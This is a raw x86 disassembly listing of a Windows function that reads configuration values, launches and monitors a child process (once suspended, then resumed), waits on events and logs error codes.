repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [ebp - 0xc], edx
mov edi, ecx
push edi
push 0x442640
call fcn.0042c270
add esp, 4
push eax
push ebx
call fcn.00424080
lea eax, [edi + 4]
add esp, 0xc
test eax, eax
jle 0x422ffb
mov edi, dword [ebp - 0xc]
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 8]
xor eax, eax
mov al, byte [ecx]
inc ecx
push eax
push 0x442638
push edi
mov dword [ebp + 8], ecx
call dword [sym.imp.user32.dll_wsprintfA]
add edi, eax
mov eax, dword [ebp - 8]
add esp, 0xc
dec eax
mov dword [ebp - 8], eax
jne 0x422fd3
jmp 0x422ffe
mov edi, dword [ebp - 0xc]
lea eax, [ebp - 0xb40]
mov byte [edi], 0
push eax
push 0x44262c
call fcn.0042c270
add esp, 4
push eax
push ebx
call fcn.00424080
mov eax, dword [0x4464b0]
xor edi, edi
add esp, 0xc
cmp eax, edi
mov dword [ebp - 8], edi
jne 0x42314e
lea ecx, [ebp - 0x2c]
lea edx, [ebp - 0x128]
push ecx
push edx
push edi
push edi
push edi
push 1
push edi
lea eax, [ebp - 0xb40]
push edi
lea ecx, [ebp - 0x330]
push eax
push ecx
call dword [sym.imp.kernel32.dll_CreateProcessA]
test eax, eax
jne 0x423079
mov esi, dword [sym.imp.kernel32.dll_GetLastError]
call esi
lea edx, [ebp - 0x638]
push edx
call esi
push eax
lea eax, [ebp - 0x330]
push eax
jmp 0x423af3
mov ecx, dword [ebp - 0x24]
push ecx
push 0x442620
call fcn.0042c270
add esp, 4
push eax
push ebx
call fcn.00424080
mov edx, dword [esi + 0x2b88]
mov eax, dword [ebp - 0x2c]
add esp, 0xc
lea ecx, [ebp - 0x88]
mov dword [ebp + 8], edi
mov dword [ebp - 0x88], edx
push 0xffffffffffffffff
push edi
push ecx
push 2
mov dword [ebp - 0x84], eax
call dword [sym.imp.kernel32.dll_WaitForMultipleObjects]
test eax, eax
je 0x42312b
mov eax, dword [ebp - 0x2c]
lea edx, [ebp + 8]
push edx
push eax
call dword [sym.imp.kernel32.dll_GetExitCodeProcess]
test eax, eax
jne 0x4230f2
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
push 0x4425fc
call fcn.0042c270
add esp, 4
push eax
push ebx
call fcn.00424080
add esp, 0xc
mov ecx, dword [ebp + 8]
push ecx
push 0x4425d8
call fcn.0042c270
add esp, 4
push eax
push ebx
call fcn.00424080
mov edx, dword [ebp - 0x2c]
mov esi, dword [sym.imp.kernel32.dll_CloseHandle]
add esp, 0xc
push edx
call esi
mov eax, dword [ebp - 0x28]
push eax
call esi
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0x4425d0
call fcn.0042c270
add esp, 4
push eax
push ebx
call fcn.00424080
lea ecx, [ebp - 0x2c]
push ecx
call fcn.00426720
add esp, 0xc
mov dword [ebp - 8], eax
mov edx, dword [ebp - 0x2c]
mov esi, dword [sym.imp.kernel32.dll_CloseHandle]
push edx
call esi
mov eax, dword [ebp - 0x28]
push eax
call esi
lea ecx, [ebp - 0x22c]
push 0x104
push ecx
mov ecx, dword [ebp - 4]
call fcn.00424380
mov edi, 0x4429c4
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x22c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x442884
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov eax, dword [ebp - 4]
and ecx, 3
lea edx, [ebp - 0x22c]
rep movsb byte es:[edi], byte [esi]
lea edi, [eax + 0x2b10]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.0042c270
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x22c]
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [ebp - 0x22c]
and ecx, 3
push 1
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp - 4]
push eax
add ecx, 0x2ac4
call fcn.0042a540
test al, al
jne 0x423267
mov edi, dword [sym.imp.kernel32.dll_GetLastError]
call edi
mov edx, dword [ebp - 4]
mov esi, dword [edx + 0x2b08]
call edi
push eax
push esi
push 0x4425b8
call fcn.0042c270
add esp, 4
push eax
push ebx
call fcn.00424080
add esp, 0x10
mov eax, 0x78
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, dword [0x4420d4]
push eax
call fcn.0042c270
mov esi, dword [ebp - 4]
add esp, 4
add eax, 5
lea ecx, [ebp - 0x1340]
push eax
push 0x7ff
lea edx, [ebp - 0x22c]
push ecx
push edx
lea ecx, [esi + 0x2ac4]
call fcn.0042ac50
test al, al
jne 0x4232d5
mov edi, dword [sym.imp.kernel32.dll_GetLastError]
call edi
mov esi, dword [esi + 0x2b08]
call edi
push eax
push esi
push 0x442598
call fcn.0042c270
add esp, 4
push eax
push ebx
call fcn.00424080
add esp, 0x10
mov eax, 0x82
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0x442878
call fcn.0042c200
add esp, 4
mov edi, eax
lea eax, [ebp - 0x1340]
lea ecx, [ebp - 0xe4]
push eax
push 0x20
push ecx
push 0x44286c
call fcn.0042c200
add esp, 4
push eax
push 0x44285c
call fcn.0042c270
add esp, 4
push eax
push edi
call fcn.0042c930
lea eax, [esi + 0x2b10]
lea edx, [ebp - 0xe4]
push eax
push edx
call fcn.00407832
add esp, 0x20
test eax, eax
je 0x423355
push 0x442580
call fcn.0042c270
add esp, 4
push eax
push ebx
call fcn.00424080
add esp, 8
mov eax, 0x8e
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
lea eax, [ebp - 0x1340]
push eax
push 1
push 0x442840
call fcn.0042c270
add esp, 4
push eax
push edi
call fcn.0042c8c0
add esp, 0x10
lea ecx, [ebp - 0x1340]
mov dword [0x446480], eax
push ecx
push 0x186a0
push 0x442570
call fcn.0042c270
add esp, 4
push eax
push edi
call fcn.0042c8c0
add esp, 0x10
lea edx, [ebp - 0x1340]
mov dword [0x44648c], eax
push edx
push 0
push 0x442560
call fcn.0042c270
add esp, 4
push eax
push edi
call fcn.0042c8c0
add esp, 0x10
mov dword [0x446490], eax
lea eax, [ebp - 0x1340]
push eax
push 0
push 0x442550
call fcn.0042c270
add esp, 4
push eax
push edi
call fcn.0042c8c0
add esp, 0x10
lea ecx, [ebp - 0x1340]
push ecx
push 0
push 0x442544
call fcn.0042c270
add esp, 4
push eax
push edi
call fcn.0042c8c0
add esp, 0x10
lea edx, [ebp - 0x1340]
mov dword [ebp + 8], eax
push edx
push 0
push 0x442830
call fcn.0042c270
add esp, 4
push eax
push edi
call fcn.0042c8c0
add esp, 0x10
mov dword [0x446494], eax
lea eax, [ebp - 0x1340]
push eax
push 0
push 0x442534
call fcn.0042c270
add esp, 4
push eax
push edi
call fcn.0042c8c0
add esp, 0x10
lea ecx, [ebp - 0x1340]
mov dword [ebp - 0x18], eax
push ecx
push 0
push 0x442520
call fcn.0042c270
add esp, 4
push eax
push edi
call fcn.0042c8c0
add esp, 0x10
lea edx, [ebp - 0x1340]
mov dword [0x446498], eax
push edx
push 0
push 0x44250c
call fcn.0042c270
add esp, 4
push eax
push edi
call fcn.0042c8c0
mov esi, dword [ebp - 4]
add esp, 0x10
shr eax, 1
not al
and al, 1
mov byte [esi + 0x22], al
lea eax, [ebp - 0x1340]
push eax
push 0x3e8
push 0x4424f4
call fcn.0042c270
add esp, 4
push eax
push edi
call fcn.0042c8c0
add esp, 0x10
lea ecx, [ebp - 0x1340]
mov dword [esi + 0x2b7c], eax
push ecx
push 0
push 0x4424e0
call fcn.0042c270
add esp, 4
push eax
push edi
call fcn.0042c8c0
add esp, 0x10
lea edx, [ebp - 0x1340]
mov dword [esi + 0x2b80], eax
push edx
push 0x100
push 0x4464c0
push 0x446714
push 0x4424d0
call fcn.0042c270
add esp, 4
push eax
push edi
call fcn.0042c930
mov ecx, 0x200
xor eax, eax
lea edi, [ebp - 0x1340]
push 0x4424c8
rep stosd dword es:[edi], eax
call fcn.0042c270
add esp, 0x1c
push eax
push ebx
call fcn.00424080
add esp, 8
mov ecx, esi
push 0x104
push 0x446370
call fcn.00424380
mov edi, 0x4429c4
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x446370
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
push 0x4424b8
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.0042c270
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x446370
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [0x4466cc]
mov ecx, edx
and ecx, 3
test eax, eax
rep movsb byte es:[edi], byte [esi]
je 0x423651
mov eax, dword [sym.imp.kernel32.dll_GetProcAddress]
xor ecx, ecx
xor edx, edx
mov cl, byte [eax + 4]
mov dl, byte [eax + 3]
push ecx
xor ecx, ecx
mov cl, byte [eax + 2]
push edx
push ecx
xor edx, edx
mov dl, byte [eax + 1]
xor ecx, ecx
mov cl, byte [eax]
push edx
push ecx
push 0x442494
call fcn.0042c270
mov edx, dword [0x4466cc]
add esp, 4
add edx, 0x24
push eax
push edx
call fcn.00424080
mov eax, dword [0x4466cc]
add esp, 0x1c
test eax, eax
je 0x423651
mov eax, dword [sym.imp.kernel32.dll_GetModuleHandleA]
xor ecx, ecx
xor edx, edx
mov cl, byte [eax + 4]
mov dl, byte [eax + 3]
push ecx
xor ecx, ecx
mov cl, byte [eax + 2]
push edx
push ecx
xor edx, edx
mov dl, byte [eax + 1]
xor ecx, ecx
mov cl, byte [eax]
push edx
push ecx
push 0x442470
call fcn.0042c270
mov edx, dword [0x4466cc]
add esp, 4
add edx, 0x24
push eax
push edx
call fcn.00424080
add esp, 0x1c
push 0x442468
call fcn.0042c270
add esp, 4
push eax
push ebx
call fcn.00424080
push 0
push 0x446370
call fcn.004303d4
add esp, 0x10
cmp eax, 0xffffffff
jne 0x42372d
mov ecx, dword [ebp - 4]
push 0x104
push 0x446370
call fcn.00424380
mov edi, 0x4429c4
or ecx, 0xffffffff
xor eax, eax
push 0x442458
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x446370
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.0042c270
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov edx, ecx
mov edi, 0x446370
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 0x446370
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.004303d4
add esp, 0xc
cmp eax, 0xffffffff
jne 0x42372d
push 0x446370
push 0x44243c
call fcn.0042c270
add esp, 4
push eax
push ebx
call fcn.00424080
add esp, 0xc
mov eax, 0x9a
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov esi, dword [ebp - 4]
push 1
push 0x446370
lea ecx, [esi + 0x2ac4]
call fcn.0042a540
test al, al
jne 0x423782
mov edi, dword [sym.imp.kernel32.dll_GetLastError]
call edi
mov esi, dword [esi + 0x2b08]
push 0x446370
call edi
push eax
push esi
push 0x4426f0
call fcn.0042c270
add esp, 4
push eax
push ebx
call fcn.00424080
add esp, 0x14
mov eax, 0x7a
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0x442434
call fcn.0042c270
add esp, 4
push eax
push ebx
call fcn.00424080
lea edi, [esi + 0x1468]
add esp, 8
mov ecx, edi
call fcn.0042b340
test al, al
jne 0x4237cf
push 0x442420
call fcn.0042c270
add esp, 4
push eax
push ebx
call fcn.00424080
add esp, 8
mov eax, 0xa0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, dword [edi]
push 2
push eax
call dword [sym.imp.kernel32.dll_SetThreadPriority]
push 0x442418
call fcn.0042c270
add esp, 4
push eax
push ebx
call fcn.00424080
add esp, 8
call dword [sym.imp.kernel32.dll_GetTickCount]
mov ecx, dword [0x4420d8]
mov edx, dword [ebp + 8]
mov edi, eax
mov eax, dword [esi + 0x2b88]
push ecx
mov ecx, dword [esi + 0x2b84]
push edx
push eax
lea eax, [esi + 0x2b10]
push ecx
push eax
lea ecx, [esi + 0x1468]
and edi, 0xfff00000
call fcn.0042afa0
push eax
lea ecx, [esi + 0x1468]
call fcn.0042af90
xor edx, edx
push eax
mov dl, byte [esi + 0x2b79]
mov eax, dword [esi + 0x2b0c]
push edx
push eax
push edi
push 0x4423f0
call fcn.0042c270
add esp, 4
lea ecx, [ebp - 0x638]
push eax
push ecx
call dword [sym.imp.user32.dll_wsprintfA]
xor edx, edx
mov ecx, 0x11
xor eax, eax
lea edi, [ebp - 0x128]
mov dword [ebp - 0x2c], edx
add esp, 0x30
rep stosd dword es:[edi], eax
mov eax, dword [esi + 0x2b88]
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x24], edx
push eax
mov dword [ebp - 0x128], 0x44
mov dword [ebp - 0x20], edx
call dword [sym.imp.kernel32.dll_ResetEvent]
lea ecx, [ebp - 0x638]
push ecx
call fcn.0042c160
mov dword [ebp + 8], eax
lea edi, [ebp - 0x638]
or ecx, 0xffffffff
xor eax, eax
add esp, 4
lea edx, [ebp - 0xb40]
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [ebp - 0xc], edx
lea eax, [ecx + 4]
test eax, eax
jle 0x4238f9
mov dword [ebp - 0x1c], eax
mov edi, edx
mov ecx, dword [ebp + 8]
xor eax, eax
mov al, byte [ecx]
inc ecx
push eax
push 0x442638
push edi
mov dword [ebp + 8], ecx
call dword [sym.imp.user32.dll_wsprintfA]
add edi, eax
mov eax, dword [ebp - 0x1c]
add esp, 0xc
dec eax
mov dword [ebp - 0x1c], eax
jne 0x4238d1
jmp 0x4238fc
mov edi, dword [ebp - 0xc]
push 0x4423e8
mov byte [edi], 0
call fcn.0042c270
add esp, 4
push eax
push ebx
call fcn.00424080
mov eax, dword [0x4464ac]
add esp, 8
test eax, eax
je 0x423a38
push 0
mov ecx, esi
call fcn.00425090
test eax, eax
jne 0x423990
push 0x4427c0
call fcn.0042c270
add esp, 4
push eax
push 0
push 0x100000
call dword [sym.imp.kernel32.dll_OpenEventA]
mov edi, eax
test edi, edi
je 0x423990
push 0
push edi
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x423989
push 0x251c
mov ecx, esi
call fcn.00425090
test eax, eax
jne 0x42397f
pop edi
pop esi
mov eax, 0x6e
pop ebx
mov esp, ebp
pop ebp
ret 4
mov dword [0x4464ac], 0
push edi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, dword [0x4464ac]
test eax, eax
je 0x423a38
lea edi, [ebp - 0xb40]
or ecx, 0xffffffff
xor eax, eax
lea esi, [ebp - 0x428]
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov eax, 0x7eb
mov edx, ecx
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x430], eax
lea edi, [ebp - 0xb40]
mov ecx, dword [ecx + 0x2b0c]
xor eax, eax
mov dword [ebp - 0x42c], ecx
or ecx, 0xffffffff
add edx, 0xd
mov dword [ebp + 8], esi
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [ebp - 0x434], edx
mov eax, ecx
mov esi, edi
mov edi, dword [ebp + 8]
push edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x434]
push ecx
call fcn.00427b90
add esp, 8
test eax, eax
jne 0x423b35
mov esi, dword [sym.imp.kernel32.dll_GetLastError]
call esi
lea edx, [ebp - 0x638]
push edx
push 0x446370
call esi
push eax
push 0x4423c4
jmp 0x423af8
mov eax, dword [0x4464b0]
test eax, eax
je 0x423aaf
lea edi, [ebp - 0xb40]
or ecx, 0xffffffff
xor eax, eax
lea esi, [ebp - 0x428]
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov eax, 0x7eb
mov edx, ecx
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x430], eax
lea edi, [ebp - 0xb40]
mov ecx, dword [ecx + 0x2b0c]
xor eax, eax
mov dword [ebp - 0x42c], ecx
or ecx, 0xffffffff
add edx, 0xd
mov dword [ebp + 8], esi
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [ebp - 0x434], edx
mov eax, ecx
mov esi, edi
mov edi, dword [ebp + 8]
push edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x434]
jmp 0x423a06
lea eax, [ebp - 0x2c]
lea ecx, [ebp - 0x128]
push eax
push ecx
push 0
push 0
push 4
push 0
push 0
lea edx, [ebp - 0xb40]
push 0
push edx
push 0x446370
call dword [sym.imp.kernel32.dll_CreateProcessA]
test eax, eax
jne 0x423b18
mov esi, dword [sym.imp.kernel32.dll_GetLastError]
call esi
lea eax, [ebp - 0x638]
push eax
call esi
push eax
push 0x446370
push 0x44239c
call fcn.0042c270
add esp, 4
push eax
push ebx
call fcn.00424080
add esp, 0x14
mov eax, 0xaa
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 0x24]
push ecx
push 0x442390
call fcn.0042c270
add esp, 4
push eax
push ebx
call fcn.00424080
add esp, 0xc
jmp 0x423b38
mov esi, dword [ebp - 4]
mov eax, dword [0x446490]
xor edi, edi
cmp eax, edi
mov dword [0x4464a8], eax
jne 0x423b90
mov eax, dword [ebp - 0x18]
cmp eax, edi
mov dword [0x4464a8], eax
jne 0x423b90
mov eax, dword [0x4464b0]
cmp eax, edi
mov dword [0x4464a8], eax
jne 0x423b90
mov eax, dword [0x4464ac]
cmp eax, edi
mov dword [0x4464a8], eax
jne 0x423b90
mov edx, dword [ebp - 8]
push edx
push 0x44237c
push 0x446370
call fcn.00426510
add esp, 0xc
and eax, 0xff
mov dword [0x4464a8], eax
push 0x442374
call fcn.0042c270
add esp, 4
push eax
push ebx
call fcn.00424080
add esp, 8
lea ecx, [esi + 0x1468]
call fcn.0042b550
cmp eax, edi
jne 0x423be6
mov esi, dword [sym.imp.kernel32.dll_GetLastError]
call esi
call esi
push eax
push 0x442360
call fcn.0042c270
add esp, 4
push eax
push ebx
call fcn.00424080
add esp, 0xc
mov eax, 0xa0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push eax
push 0x442330
call fcn.0042c270
add esp, 4
push eax
push ebx
call fcn.00424080
mov eax, dword [0x4464ac]
add esp, 0xc
cmp eax, edi
jne 0x423c9f
cmp dword [0x4464b0], edi
jne 0x423c9f
mov eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.kernel32.dll_ResumeThread]
mov ecx, dword [esi + 0x2b84]
mov eax, dword [0x44648c]
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x88], ecx
push eax
lea ecx, [ebp - 0x88]
push edi
push ecx
push 2
mov dword [ebp - 0x84], edx
call dword [sym.imp.kernel32.dll_WaitForMultipleObjects]
test eax, eax
je 0x423ce2
push 0x44231c
call fcn.0042c270
add esp, 4
push eax
push edi
push 0x100000
call dword [sym.imp.kernel32.dll_OpenEventA]
cmp eax, edi
je 0x423cb6
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
mov edx, dword [0x44648c]
mov eax, dword [esi + 0x2b84]
push edx
push eax
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
test eax, eax
je 0x423ce2
mov ecx, dword [0x44648c]
push ecx
push 0x442300
jmp 0x423cc2
mov eax, dword [0x44648c]
mov ecx, dword [esi + 0x2b84]
push eax
push ecx
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
test eax, eax
je 0x423ce2
mov edx, dword [0x44648c]
push edx
push 0x4422e8
call fcn.0042c270
add esp, 4
push eax
push ebx
call fcn.00424080
add esp, 0xc
mov eax, 0x72
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0x4422d8
call fcn.0042c270
add esp, 4
push eax
push ebx
call fcn.00424080
mov eax, dword [esi + 0x2b88]
add esp, 8
push edi
push eax
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
test eax, eax
je 0x423d30
push 0x4422c0
call fcn.0042c270
add esp, 4
push eax
push ebx
call fcn.00424080
add esp, 8
mov eax, 0x72
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0x44231c
call fcn.0042c270
add esp, 4
push eax
push edi
push 0x100000
call dword [sym.imp.kernel32.dll_OpenEventA]
cmp eax, edi
je 0x423d6e
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
push 0x4422b4
call fcn.0042c270
add esp, 4
push eax
push ebx
call fcn.00424080
add esp, 8
jmp 0x423d80
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x2c]
mov dword [0x4464b4], ecx
mov dword [0x4464b8], edx
push 0x4422ac
call fcn.0042c270
add esp, 4
push eax
push ebx
call fcn.00424080
mov eax, dword [0x4464ac]
add esp, 8
cmp eax, edi
je 0x423dc3
push 0x4422a0
call fcn.0042c270
add esp, 4
push eax
push ebx
call fcn.00424080
add esp, 8
mov dword [0x4464b4], edi
mov dword [0x4464b8], edi
cmp dword [0x4464a8], edi
jne 0x423dd9
pop edi
pop esi
mov eax, 0x7a
pop ebx
mov esp, ebp
pop ebp
ret 4
call fcn.004279b0
call fcn.00425f60
mov edi, eax
test edi, edi
jne 0x423dfc
push 0xb
lea eax, [esi + 0x1468]
push 0x62d
push eax
call fcn.00425200
push edi
push 0x442288
call fcn.0042c270
add esp, 4
push eax
push ebx
call fcn.00424080
add esp, 0xc
call fcn.004262a0
mov edi, eax
test edi, edi
jne 0x423e36
push 0xd
push 0x630
push 0x8b1
lea ecx, [esi + 0x1468]
call fcn.0042b230
push edi
push 0x442270
call fcn.0042c270
add esp, 4
push eax
push ebx
call fcn.00424080
mov al, byte [esi + 0x22]
add esp, 0xc
test al, al
je 0x423e85
mov ecx, esi
call fcn.00424a00
test al, al
jne 0x423e85
push 0x442254
call fcn.0042c270
add esp, 4
push eax
push ebx
call fcn.00424080
add esp, 8
mov eax, 0xdc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0x44224c
call fcn.0042c270
add esp, 4
push eax
push ebx
call fcn.00424080
mov eax, dword [esi + 0x2b0c]
add esp, 8
lea edi, [esi + 0x1468]
push eax
push 0x611
push 0x8b1
mov ecx, edi
call fcn.0042b230
mov ecx, dword [ebp - 8]
push ecx
push 0x617
push 0x8b1
mov ecx, edi
call fcn.0042b230
push 0x44222c
call fcn.0042c270
add esp, 4
push eax
push ebx
call fcn.00424080
add esp, 8
mov byte [esi], 1
pop edi
pop esi
mov eax, 0x755
pop ebx
mov esp, ebp
pop ebp
ret 4